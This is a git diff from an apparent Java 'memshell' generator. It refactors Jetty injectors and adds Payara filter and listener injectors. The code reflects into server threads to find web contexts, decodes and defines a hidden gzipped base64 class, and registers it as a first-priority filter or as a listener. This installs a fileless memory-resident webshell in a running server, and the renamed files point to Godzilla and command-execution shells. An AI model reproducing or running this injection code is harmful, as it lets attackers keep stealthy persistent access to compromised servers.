to memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java index 51179bd3..cd9a8a3a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.jetty.godzilla; +package com.reajason.javaweb.memshell.jetty.godzilla; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyFilterInjector.java similarity index 59% rename from generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyFilterInjector.java index 623082c7..d0c9bfc3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyFilterInjector.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.jetty.injector; +package com.reajason.javaweb.memshell.jetty.injector; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; @@ -20,108 +20,16 @@ public class JettyFilterInjector { new JettyFilterInjector(); } - public JettyFilterInjector() { try { List contexts = getContext(); for (Object context : contexts) { - Object filter = getFilter(context); - addFilter(context, filter); + Object filter = getShell(context); + inject(context, filter); } } catch (Exception e) { e.printStackTrace(); } - - } - - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - static Object getFV(Object obj, String fieldName) throws Exception { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } } public String getUrlPattern() { @@ -136,9 +44,9 @@ public class JettyFilterInjector { return "{{base64Str}}"; } - public void addFilter(Object context, Object magicFilter) throws Exception { + public void inject(Object context, Object magicFilter) throws Exception { Class filterClass = magicFilter.getClass(); - Object servletHandler = getFV(context, "_servletHandler"); + Object servletHandler = getFieldValue(context, "_servletHandler"); // 1. 判断是否已经注入 if (isInjected(servletHandler)) { @@ -162,25 +70,21 @@ public class JettyFilterInjector { // 3. 修改Filter的优先级为第一位 moveFilterToFirst(servletHandler); - try { - // 4. 解决 jetty filterChainsCache 导致 filter 内存马连接失败的问题 - invokeMethod(servletHandler, "invalidateChainsCache"); - } catch (Exception e) { - e.printStackTrace(); - } + // 4. 解决 jetty filterChainsCache 导致 filter 内存马连接失败的问题 + invokeMethod(servletHandler, "invalidateChainsCache"); System.out.println("filter added successfully"); } void moveFilterToFirst(Object servletHandler) throws Exception { - Object filterMaps = getFV(servletHandler, "_filterMappings"); - ArrayList reorderedFilters = new ArrayList<>(); + Object filterMaps = getFieldValue(servletHandler, "_filterMappings"); + ArrayList reorderedFilters = new ArrayList(); int filterLength; if (filterMaps.getClass().isArray()) { filterLength = Array.getLength(filterMaps); for (int i = 0; i < filterLength; i++) { Object filter = Array.get(filterMaps, i); - String filterName = (String) getFV(filter, "_filterName"); + String filterName = (String) getFieldValue(filter, "_filterName"); if (filterName.equals(getClassName())) { reorderedFilters.add(0, filter); } else { @@ -194,7 +98,7 @@ public class JettyFilterInjector { ArrayList filterList = (ArrayList) filterMaps; filterLength = filterList.size(); for (Object filter : filterList) { - String filterName = (String) getFV(filter, "_filterName"); + String filterName = (String) getFieldValue(filter, "_filterName"); if (filterName.equals(getClassName())) { reorderedFilters.add(0, filter); } else { @@ -209,7 +113,7 @@ public class JettyFilterInjector { } List getContext() { - List contexts = new ArrayList(); + List contexts = new ArrayList(); Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); for (Thread thread : threads) { try { @@ -222,8 +126,6 @@ public class JettyFilterInjector { } catch (Exception ignored) { } } - String log = String.format("contextSize: %s%n", contexts.size()); - System.out.println(log); return contexts; } @@ -236,18 +138,18 @@ public class JettyFilterInjector { } private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception { - Object context = getFV(classLoader, "_context"); - Object handler = getFV(context, "_servletHandler"); - return getFV(handler, "_contextHandler"); + Object context = getFieldValue(classLoader, "_context"); + Object handler = getFieldValue(context, "_servletHandler"); + return getFieldValue(handler, "_contextHandler"); } private boolean isHttpConnection(Thread thread) throws Exception { - Object threadLocals = getFV(thread, "threadLocals"); - Object table = getFV(threadLocals, "table"); + Object threadLocals = getFieldValue(thread, "threadLocals"); + Object table = getFieldValue(threadLocals, "table"); for (int i = 0; i < Array.getLength(table); ++i) { Object entry = Array.get(table, i); if (entry != null) { - Object httpConnection = getFV(entry, "value"); + Object httpConnection = getFieldValue(entry, "value"); if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { return true; } @@ -257,26 +159,27 @@ public class JettyFilterInjector { } private Object getContextFromHttpConnection(Thread thread) throws Exception { - Object threadLocals = getFV(thread, "threadLocals"); - Object table = getFV(threadLocals, "table"); + Object threadLocals = getFieldValue(thread, "threadLocals"); + Object table = getFieldValue(threadLocals, "table"); for (int i = 0; i < Array.getLength(table); ++i) { Object entry = Array.get(table, i); if (entry != null) { - Object httpConnection = getFV(entry, "value"); + Object httpConnection = getFieldValue(entry, "value"); if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); Object request = invokeMethod(httpChannel, "getRequest"); Object session = invokeMethod(request, "getSession"); Object servletContext = invokeMethod(session, "getServletContext"); - return getFV(servletContext, "this$0"); + return getFieldValue(servletContext, "this$0"); } } } throw new Exception("HttpConnection not found"); } - private Object getFilter(Object context) { - Object obj = null; + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); if (classLoader == null) { classLoader = context.getClass().getClassLoader(); @@ -284,25 +187,21 @@ public class JettyFilterInjector { try { obj = classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - obj = clazz.newInstance(); - } catch (Throwable e1) { - e1.printStackTrace(); - } + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); } return obj; } public boolean isInjected(Object servletHandler) throws Exception { try { - Object filterMaps = getFV(servletHandler, "_filterMappings"); + Object filterMaps = getFieldValue(servletHandler, "_filterMappings"); for (int i = 0; i < Array.getLength(filterMaps); i++) { Object filter = Array.get(filterMaps, i); - String filterName = (String) getFV(filter, "_filterName"); + String filterName = (String) getFieldValue(filter, "_filterName"); if (filterName.equals(getClassName())) { return true; } @@ -312,4 +211,90 @@ public class JettyFilterInjector { } return false; } + + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyListenerInjector.java similarity index 54% rename from generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyListenerInjector.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyListenerInjector.java index a17a9c3a..70fc99d8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyListenerInjector.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.jetty.injector; +package com.reajason.javaweb.memshell.jetty.injector; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; @@ -27,129 +27,12 @@ public class JettyListenerInjector { try { List contexts = getContext(); for (Object context : contexts) { - Object listener = getListener(context); - addListener(context, listener); + Object listener = getShell(context); + inject(context, listener); } } catch (Exception e) { e.printStackTrace(); } - - } - - public static void addListener(Object context, Object listener) { - try { - if (isInjected(context, listener.getClass().getName())) { - return; - } - - invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener}); - } catch (Exception ignored) { - } - } - - public static boolean isInjected(Object context, String className) throws Exception { - - try { - // jetty v8、 v9 - EventListener[] eventListeners = (EventListener[]) invokeMethod(context, "getEventListeners"); - for (EventListener eventListener : eventListeners) { - if (eventListener.getClass().getName().contains(className)) { - return true; - } - } - } catch (Exception ignored) { - } - - return false; - } - - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - try { - Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - Class decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - static Object getFV(Object obj, String fieldName) throws Exception { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } } public String getClassName() { @@ -186,18 +69,18 @@ public class JettyListenerInjector { } private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception { - Object context = getFV(classLoader, "_context"); - Object handler = getFV(context, "_servletHandler"); - return getFV(handler, "_contextHandler"); + Object context = getFieldValue(classLoader, "_context"); + Object handler = getFieldValue(context, "_servletHandler"); + return getFieldValue(handler, "_contextHandler"); } private boolean isHttpConnection(Thread thread) throws Exception { - Object threadLocals = getFV(thread, "threadLocals"); - Object table = getFV(threadLocals, "table"); + Object threadLocals = getFieldValue(thread, "threadLocals"); + Object table = getFieldValue(threadLocals, "table"); for (int i = 0; i < Array.getLength(table); ++i) { Object entry = Array.get(table, i); if (entry != null) { - Object httpConnection = getFV(entry, "value"); + Object httpConnection = getFieldValue(entry, "value"); if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { return true; } @@ -207,25 +90,25 @@ public class JettyListenerInjector { } private Object getContextFromHttpConnection(Thread thread) throws Exception { - Object threadLocals = getFV(thread, "threadLocals"); - Object table = getFV(threadLocals, "table"); + Object threadLocals = getFieldValue(thread, "threadLocals"); + Object table = getFieldValue(threadLocals, "table"); for (int i = 0; i < Array.getLength(table); ++i) { Object entry = Array.get(table, i); if (entry != null) { - Object httpConnection = getFV(entry, "value"); + Object httpConnection = getFieldValue(entry, "value"); if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); Object request = invokeMethod(httpChannel, "getRequest"); Object session = invokeMethod(request, "getSession"); Object servletContext = invokeMethod(session, "getServletContext"); - return getFV(servletContext, "this$0"); + return getFieldValue(servletContext, "this$0"); } } } throw new Exception("HttpConnection not found"); } - private Object getListener(Object context) { + private Object getShell(Object context) { Object listener = null; ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); if (classLoader == null) { @@ -246,4 +129,114 @@ public class JettyListenerInjector { } return listener; } + + public static void inject(Object context, Object listener) throws Exception { + if (isInjected(context, listener.getClass().getName())) { + return; + } + invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener}); + } + + @SuppressWarnings("unchecked") + public static boolean isInjected(Object context, String className) throws Exception { + // jetty v8、 v9 + Object object = invokeMethod(context, "getEventListeners"); + Object[] eventListeners = new Object[0]; + if (object instanceof List) { + eventListeners = ((List) object).toArray(); + } else if (object instanceof Object[]) { + eventListeners = (Object[]) object; + } + for (Object eventListener : eventListeners) { + if (eventListener.getClass().getName().contains(className)) { + return true; + } + } + return false; + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/command/CommandListener.java similarity index 98% rename from generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/payara/command/CommandListener.java index 4ec5d523..bf544981 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/command/CommandListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.payara.command; +package com.reajason.javaweb.memshell.payara.command; import javax.servlet.ServletOutputStream; import javax.servlet.ServletRequestEvent; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/godzilla/GodzillaListener.java similarity index 99% rename from generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/payara/godzilla/GodzillaListener.java index 0e98e1ad..84901f50 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/godzilla/GodzillaListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.payara.godzilla; +package com.reajason.javaweb.memshell.payara.godzilla; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraFilterInjector.java new file mode 100644 index 00000000..aa8cc199 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraFilterInjector.java @@ -0,0 +1,199 @@ +package com.reajason.javaweb.memshell.payara.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.logging.Logger; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class PayaraFilterInjector { + Logger log = Logger.getLogger(PayaraFilterInjector.class.getName()); + + static { + new PayaraFilterInjector(); + } + + public PayaraFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getShell(context); + inject(context, filter); + } + } catch (Exception ignored) { + } + } + + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Object context = getFieldValue(getFieldValue(thread, "target"), "this$0"); + if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) { + contexts.add(context); + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("unchecked") + public void inject(Object context, Object filter) throws Exception { + if (isInjected(context)) { + return; + } + String filterName = getClassName(); + Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); + try { + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception e) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + constructors[0].setAccessible(true); + Object filterConfig = constructors[0].newInstance(context, filterDef); + HashMap filterConfigs = (HashMap) getFieldValue(context, "filterConfigs"); + filterConfigs.put(filterName, filterConfig); + log.info("filter added successfully"); + } + + private boolean isInjected(Object context) throws NoSuchMethodException { + Object filterDef = invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}); + if (filterDef != null) { + log.warning("filter already exists"); + return true; + } + return false; + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraListenerInjector.java new file mode 100644 index 00000000..f4871a62 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraListenerInjector.java @@ -0,0 +1,175 @@ +package com.reajason.javaweb.memshell.payara.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.EventListener; +import java.util.List; +import java.util.logging.Logger; +import java.util.zip.GZIPInputStream; + + +/** + * @author ReaJason + */ +public class PayaraListenerInjector { + Logger log = Logger.getLogger(PayaraListenerInjector.class.getName()); + + static { + new PayaraListenerInjector(); + } + + public PayaraListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getShell(context); + inject(context, listener); + } + } catch (Exception ignored) { + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Object context = getFieldValue(getFieldValue(thread, "target"), "this$0"); + if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) { + contexts.add(context); + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = 